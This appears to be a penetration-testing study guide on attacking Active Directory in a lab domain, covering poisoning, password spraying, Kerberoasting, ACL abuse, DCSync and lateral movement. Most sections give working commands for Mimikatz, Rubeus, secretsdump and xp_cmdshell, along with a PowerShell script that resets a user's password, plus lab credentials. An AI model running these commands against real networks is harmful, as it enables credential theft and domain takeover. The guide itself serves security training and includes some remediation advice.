# Active Directory Enumeration & Attacks (TBC)

## Introduction

* Active Directory (AD) is a prime target during internal network penetration tests. In this guide, we cover common enumeration techniques and attacks, such as LLMNR/NBT-NS poisoning and password spraying, and provide remediation steps to secure your environment. Even if you can’t find an obvious remote exploit, being inside an AD network can offer multiple ways to gain a foothold.

## Initial Domain Enumeration

### Identifying Hosts

* **Passive Listening:** Use tools like Wireshark or TCPDump or Responder (in analyze mode) to monitor network traffic and list active hosts without sending spoofed packets.
* **Active Scanning:** Perform an ICMP sweep of the subnet with tools like fping, which quickly pings multiple hosts. Once you have a list of active hosts, use Nmap for further enumeration.

### Identifying Users

* After discovering hosts, the next step is to enumerate domain users.&#x20;
* If you’re inside the domain, tools like **Kerbrute** can make use of Kerberos pre-authentication failures (often unlogged) to identify valid accounts. Precompiled user lists (for example, files from Insidetrust or the Statistically-Likely-Usernames repository) can be used as a wordlist for this type of attack.

## Gaining Foothold

### LLMNR/NBT-NS Poisoning

* LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) are fallback name resolution methods when DNS fails. The risk is that any host on the network can respond to these requests.

#### Attack Flow Example

* A user attempts to connect to a host (e.g., `\\print01.inlanefreight.local`) but mistypes it as `\\printer01.inlanefreight.local`.
* The DNS server fails to resolve the name.
* The request is broadcast over the local network.
* **Responder** (or similar tools) replies, spoofing the requested hostname.
* The victim sends an authentication request (with username and NTLMv2 hash) to the attacker.
* The hash can be cracked offline or relayed in an SMB Relay attack.

{% hint style="info" %}
Run Responder (or similar tools like Inveigh or Metasploit) in the background during other enumeration tasks to capture as many hashes as possible. You can then pass these hashes to Hashcat (using mode 5600 for NTLMv2) for offline cracking.
{% endhint %}

### Password Spraying

* Password spraying involves attempting one commonly used password across a list of usernames. By limiting login attempts per account, you reduce the chance of triggering account lockouts compared to traditional brute-force methods. However, always introduce a delay between attempts to minimize the risk of lockouts.

#### Enumerating & Retrieving Password Policies

* Even without credentials, you might obtain the domain password policy using an SMB NULL session or LDAP anonymous bind
  * **SMB NULL Sessions:** An unauthenticated attacker to retrieve information like user listings, groups, computers, account attributes, and the password policy. Tools such as enum4linux, CrackMapExec, or rpcclient can help. This attack isn't usually conducted on Windows, but you can still test for a NULL session on Windows using: `\host\ipc$ "" /u:""`
  * **LDAP Anonymous Binds:** Use tools like windapsearch.py, ldapsearch, or ad-ldapdomaindump.py to pull the password policy. While ldapsearch might be a bit cumbersome, it’s effective.
* If you have domain credentials, built-in Windows tools (like `net.exe`) or tools such as PowerView, CrackMapExec for Windows, SharpMapExec, and SharpView can retrieve this information.
* Always maintain a detailed log of your activities, including:
  * Targeted accounts
  * Domain Controller used
  * Time and date of attempts
  * Password(s) attempted
  * This record helps prevent duplicated efforts and assists in correlating your tests with client logs if account lockouts or suspicious activity occur.

#### Making a Target User List

* **Using SMB NULL Sessions or LDAP Anonymous Binds:** Tools like enum4linux, rpcclient, and CrackMapExec can help compile a complete list of domain users.
* If those methods aren’t available, consider using Kerbrute for username enumeration. You can also gather partial user lists from external sources such as email harvesting or LinkedIn.

#### Conducting The Attack

* On Linux, **rpcclient** is a solid option. Keep in mind that a successful login isn’t always obvious, a response containing "Authority Name" typically indicates success. Filtering for "Authority" in the output can help distinguish valid attempts. Alternatives like Kerbrute and CrackMapExec can also be used for password spraying.
* Once you obtain a valid hit, use CrackMapExec to validate the credentials against a Domain Controller.&#x20;
* For domain-joined Windows hosts, the **DomainPasswordSpray** tool can be used. It automatically generates a user list from Active Directory, queries the domain password policy, and avoids accounts that are close to locking out.

#### Local Administrator Password Reuse

* If you gain administrative access and obtain the NTLM hash or cleartext password for the local administrator (or another privileged account), you can attempt to reuse that credential across multiple hosts, a common scenario due to widespread local administrator password reuse.
* CrackMapExec is very effective for this purpose. It’s especially useful when targeting high-value hosts (such as SQL or Microsoft Exchange servers) where privileged users might be logged in or their credentials are stored in memory.
* In cases where you only retrieve the NTLM hash from the local SAM database, you can spray the hash across entire subnets to find other hosts with the same password.

## Credentialed Enumeration

* Once you’ve gained a foothold in the domain with low-privilege credentials, you can use those credentials to dig deeper into the environment.&#x20;
* The goal is to map out the domain, identifying users, groups, hosts, shares, and other critical assets, to later determine potential paths for privilege escalation.&#x20;
* Below, are lists of methods and tools for both Linux and Windows attack hosts.

### Linux Tools

* **CrackMapExec (CME):** CrackMapExec is a Swiss-army knife for interacting with Windows environments from Linux. You can use it to perform a variety of enumeration tasks, such as scanning a subnet for live hosts, retrieving a list of users, or checking share permissions.
* **SMBMap:** SMBMap is ideal when you need a quick overview of available shares and their permissions. This tool helps identify shares that may hold sensitive data or be ripe for further exploitation.
* I**mpacket Suite (psexec.py & wmiexec.py):** Impacket suite is another versatile toolkit that offers a variety of tools.&#x20;
  * **psexec.py:**
    * Remotely execute commands by creating a service on the target system
    * Provide an interactive shell with SYSTEM privileges on the remote host
  * **wmiexec.py:**
    * Execute commands via Windows Management Instrumentation (WMI)
    * Operate with fewer logs and no dropped files, making it a more stealthy option
* **rpcclient:** While rpcclient is more specialized, it offers extended functionality beyond simple enumeration. It is useful when you need to manipulate objects or verify permissions that aren’t accessible via SMBMap or CrackMapExec.
* **Windapsearch:** Windapsearch is a Python script located on your attack host (commonly in `/opt/windapsearch/`) and is especially useful when you need to gather data quickly using LDAP without running a full-fledged AD tool.

## Windows Tools

* **ActiveDirectory PowerShell Module:** This module can be used to query and manage Active Directory objects, retrieve lists of users, groups, computers, and organizational units (OUs), and Perform administrative tasks remotely.
  * Before running any AD cmdlets, ensure the module is imported. It provides a native way to query AD without needing third-party tools.
    * Check for installed modules: `Get-Module`
    * Install the module if not installed: `Import-Module ActiveDirectory`
* **Powerview:** PowerView is a PowerShell tool that requires some manual analysis but offers insight into the AD environment. Although it’s part of the deprecated PowerSploit toolkit, its maintained versions (such as those updated by BC-Security) continue to be valuable.
* **Sharpview:** SharpView is used in much the same way as PowerView but may be preferable in environments where .NET is more native or if PowerView’s execution is being blocked.
* **Snaffler:** Snaffler is a tool that scans hosts within the domain for readable shares and directories and then search for credentials, SSH keys, configuration files, or other sensitive data. It requires that it be run from a domain-joined host or in a domain-user context.

### BloodHound (BloodHound.py)

* BloodHound is one of, if not the most impactful tools ever released for auditing Active Directory security.
* It consists of two parts: the collector (SharpHound on Windows or BloodHound.py for Linux) and the BloodHound GUI tool.&#x20;
* After collecting data, upload JSON files to the GUI to run queries or visualize the AD relationships.

{% hint style="info" %}
Stay organized, document every file transfer and command execution, and always clean up your artifacts after the engagement.
{% endhint %}

## Living Off The Land

* In scenarios where you cannot deploy additional tools, you can rely on built-in Windows commands to perform enumeration. Tools like powershell and net.exe can be used to enumerate the system.

## Dsquery & LDAP Filtering Explained

* **Dsquery** is a command-line tool that finds Active Directory objects. It uses LDAP filters to search for users, groups, computers, etc.
* LDAP filters can include Object Identifier (OID) rules to match specific attributes using bitmasks. For example, the string:: `userAccountControl:1.2.840.113556.1.4.803:=64`
  * `userAccountControl`**:** Refers to the UAC attribute of a user account.
  * `1.2.840.113556.1.4.803`**:** Specifies the matching rule, indicating an exact bitmask match.
  * `=64`**:** Represents the decimal bitmask that, for instance, might denote the "Password Can't Change" flag.
* **Logical Operators:**
  * Use `&` (AND), `|` (OR), and `!` (NOT) to build complex queries.
  * Example: `(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=64))`
  * This filter finds user objects that have the "Password Can't Change" flag set.

<figure><img src="https://2268123139-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEUwn05Skx1RrmpCLRbWS%2Fuploads%2FVqHuXAshh3GFYVJMm208%2Fimage.png?alt=media&#x26;token=af9d7019-6936-479e-a351-8e5acf1e12a2" alt=""><figcaption><p>User Account Control Bit Values</p></figcaption></figure>

## Kerberoasting

* Kerberoasting is a lateral movement and privilege escalation technique in Active Directory environments that targets Service Principal Names (SPN) accounts. SPNs are unique identifiers that Kerberos uses to map a service instance to a service account under which the service runs. Domain accounts running services are often local administrators, if not highly privileged domain accounts.
* Getting a TGS ticket does not guarantee a set of valid credentials right away as you first need to crack the ticket offline (using tools like Hashcat) to reveal the cleartext password.
* To perform kerberoasting, you need domain user credentials (in cleartext or as an NTLM hash if using Impacket), a shell in the context of a domain user, or an account like SYSTEM. You must also know which host is acting as the Domain Controller to properly query it.

### Performing the Attack on Linux

* You can pull all TGS tickets for offline processing using the -request flag with GetUserSPNs.py.

{% code overflow="wrap" fullWidth="true" %}

```
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request
```

{% endcode %}

The TGS tickets will be output in a format that can be provided directly to Hashcat or John the Ripper for offline cracking attempts. For example:

```bash
hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt
```

### Performing the Attack on Windows

#### Manual Route:

* Use the built-in setspn.exe to enumerate SPNs in the domain:

```
setspn.exe -Q */*
```

* Focus on user accounts and ignore the computer accounts returned. Next, using PowerShell, request a TGS ticket for a specific account and load it into memory:

{% code overflow="wrap" fullWidth="true" %}

```powershell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
```

{% endcode %}

* Once the ticket is loaded into memory, use Mimikatz to extract it:

```
mimikatz # kerberos::list /export
```

* Mimikatz will write the ticket to a `.kirbi` file. This file can be moved to your attack host and processed with tools such as `kirbi2john.py`.

#### Automatic Route:

#### Using PowerView:

{% code overflow="wrap" fullWidth="true" %}

```powershell
Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname
```

{% endcode %}

* You can target a specific user and request a TGS ticket in Hashcat format:

{% code overflow="wrap" fullWidth="true" %}

```powershell
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
```

{% endcode %}

* To export all tickets for offline processing:

{% code overflow="wrap" fullWidth="true" %}

```powershell
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation
```

{% endcode %}

#### Using Rubeus:

* Rubeus from GhostPack can perform Kerberoasting quick:

```powershell
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
```

### **A Note on Encryption Types**

* Kerberoasting tools typically request RC4 encryption for TGS-REQ requests because RC4 is weaker and easier to crack with tools like Hashcat compared to AES-128 or AES-256.
  * **RC4 Tickets:** Typically output as hashes beginning with `$krb5tgs$23$*` and are preferred for offline cracking.
  * **AES Tickets:** If the domain controller supports AES, and the SPN account is configured accordingly, you may receive AES-256 (hashes beginning with `$krb5tgs$18$*`), which are much more challenging to crack unless a weak password is used.
* Sometimes even when AES is configured and supported we can still try to request an RC4 ticket (Flags like `/tgtdeleg` in Rubeus.exe can be used to try that). However, in modern servers (Windows Server 2019 and above) this probably won't work.

## Access Control List (ACL)

* ACLs are lists defining who has access to which asset or resource and at what level. The settings themselves in an ACL are called Access Control Entries (ACEs). Each ACE maps back to a user, group, or process (security principal) and specifies the rights granted. In AD, objects typically have multiple ACEs because several security principals might have access.
* There are two types of ACLs:&#x20;
  * Discretionary ACL (DACL): Defines which security principals are granted or denied access. Without a DACL, all users may have full rights; with one, only the specified ACEs grant access.&#x20;
  * System ACL (SACL): Used to audit access attempts, logging whether access was granted and what type of access occurred.&#x20;
* Components of an ACE:
  * Security Identifier (SID): Identifies the user, group, or process.&#x20;
  * ACE Type Flag: Denotes whether the entry is access allowed, denied, or a system audit ACE.&#x20;
  * Inheritance Flags: Specify if child containers/objects can inherit the ACE.&#x20;
  * Access Mask: A 32-bit value that defines the specific rights granted.&#x20;
* Attackers can manipulate ACEs to extend access or establish persistence.

### Attack Walkthrough

* Using a compromised account (e.g., user wley), an attacker might change another user’s (e.g., damundsen) password.&#x20;
* With access as damundsen, who has GenericWrite privileges on a high-impact group like “Help Desk Level 1,” the attacker can add their own account to that group.&#x20;
* If that group is nested within a higher-privilege group (e.g., Information Technology), the attacker might then leverage GenericAll rights to take control of a critical user account.
* Powershell Example:

{% code overflow="wrap" fullWidth="true" %}

```powershell
# Authenticate as wley
$SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)

# Change damundsen's password
$damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose

# Authenticate as damundsen and add the user to the group
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
```

{% endcode %}

{% hint style="info" %}
If interrupting an admin account (like *adunn*) isn’t acceptable in an engagement, you might create a fake SPN on that account and Kerberoast it to extract the hash for offline cracking. Remember to clean up by removing the fake SPN and reverting any group or password changes.
{% endhint %}

### **Detection and Remediation Recommendations:**

* **Audit for Dangerous ACLs:** Regularly review and remove overly permissive ACEs.
* **Monitor Group Membership:** Keep close tabs on high-impact groups to detect unauthorized changes.
* **Enable Advanced Auditing:** Use advanced security audit policies (e.g., monitoring Event ID 5136) to detect suspicious modifications.

## DCSync

* DCSync is a technique that uses the built-in Directory Replication Service Remote Protocol, used by Domain Controllers for replication, to steal the AD password database. This attack allows an attacker to mimic a Domain Controller and request replication of password data via the `DS-Replication-Get-Changes-All` extended right.
* **Required Privileges:** The account used must have rights to perform domain replication (typically, this includes Replicating Directory Changes and Replicating Directory Changes All). By default, Domain/Enterprise Admins and default domain administrators have these permissions.

### Attack Walkthrough

* Retrieve Current Account Details:

{% code overflow="wrap" fullWidth="true" %}

```powershell
Get-DomainUser -Identity adunn | select samaccountname, objectsid, memberof, useraccountcontrol | fl
```

{% endcode %}

* Assign the target SID to a variable and verify if it has replication rights:

{% code overflow="wrap" fullWidth="true" %}

```powershell
$sid = "S-1-5-21-3842939050-3880317879-2865463114-1164"
Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | 
  ? { ($_.ObjectAceType -match 'Replication-Get') } | 
  ? { $_.SecurityIdentifier -match $sid } | 
  select AceQualifier, ObjectDN, ActiveDirectoryRights, SecurityIdentifier, ObjectAceType | fl
```

{% endcode %}

* With a tool like `secretsdump.py`, extract the NTLM hashes:

{% code overflow="wrap" fullWidth="true" %}

```powershell
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
```

{% endcode %}

* We can also extract the NTLM hashes on Windows:

{% code overflow="wrap" fullWidth="true" %}

```
# Start a powershell as the user with the required privileges:
runas /netonly /user:INLANEFREIGHT\adunn powershell

# Use Mimikatz to conduct the attack
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
```

{% endcode %}

## Going Beyond

* Once we gain a foothold in the domain, our goal shifts to advancing our position further by moving laterally or vertically to obtain access to other hosts, and eventually achieve domain compromise or some other goal, depending on the aim of the assessment. To achieve this, there are several ways we can move laterally. Typically, if we take over an account with local admin rights over a host, or set of hosts, we can perform a Pass-the-Hash attack to authenticate via the SMB protocol.
* If we don't have local admin rights, there are other ways we can move around a Windows domain:
  * **Remote Desktop Protocol (RDP)** - provides GUI access to a target host for remote management and control.
  * **PowerShell Remoting (WinRM)** - allows command execution and interactive sessions on a remote host using PowerShell.
  * **MSSQL Server** - an account with sysadmin privileges on an SQL Server instance can log in remotely and execute queries, including system commands.

### Remote Desktop Protocol

* RDP access is useful for:
  * Launching further attacks.
  * Privilege escalation to obtain credentials for higher-privileged users.
  * Extracting sensitive data or credentials from a host.
* Using PowerView, we can enumerate RDP users on a host:

{% code overflow="wrap" fullWidth="true" %}

```powershell
Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"
```

{% endcode %}

In BloodHound, we can:

* Search for a username and check remote access rights under "Execution Rights" in the Node Info tab.
* Use pre-built queries like "Find Workstations where Domain Users can RDP" or "Find Servers where Domain Users can RDP" under the Analysis tab.

### WinRM

* Like RDP, WinRM can grant remote access to hosts. Even low-privileged access could allow us to hunt for sensitive data or escalate privileges.

* To enumerate WinRM users:

  <pre class="language-powershell" data-overflow="wrap" data-full-width="true"><code class="lang-powershell">Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"
  </code></pre>

* In BloodHound, we can run a custom query:

  <pre data-overflow="wrap" data-full-width="true"><code>MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2
  </code></pre>

* To connect via WinRM:

  * **Windows:**

  <pre class="language-powershell" data-overflow="wrap" data-full-width="true"><code class="lang-powershell">$password = ConvertTo-SecureString "Klmcargo2" -AsPlainText -Force
  $cred = new-object System.Management.Automation.PSCredential ("INLANEFREIGHT\forend", $password)
  Enter-PSSession -ComputerName ACADEMY-EA-MS01 -Credential $cred
  </code></pre>

  * **Linux:**

    ```
    evil-winrm -i 10.129.201.234 -u forend
    ```

### SQL Server Admin

* Many user and service accounts have sysadmin privileges on SQL Server instances. We might find SQL credentials in configuration files like `web.config`, using **Snaffler**.
* To find such users in BloodHound:

{% code overflow="wrap" fullWidth="true" %}

```
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2
```

{% endcode %}

* To enumerate databases on Windows using PowerUpSQL:

{% code overflow="wrap" fullWidth="true" %}

```powershell
Import-Module .\PowerUpSQL.ps1
Get-SQLInstanceDomain
Get-SQLQuery -Verbose -Instance "172.16.5.150,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query 'Select @@version'
```

{% endcode %}

* On Linux using **mssqlclient**:

{% code overflow="wrap" fullWidth="true" %}

```bash
mssqlclient.py INLANEFREIGHT/DAMUNDSEN@172.16.5.150 -windows-auth

# We can execute Commands:
enable_xp_cmdshell
xp_cmdshell <command> # Example: xp_cmdshell whoami /priv
```

{% endcode %}
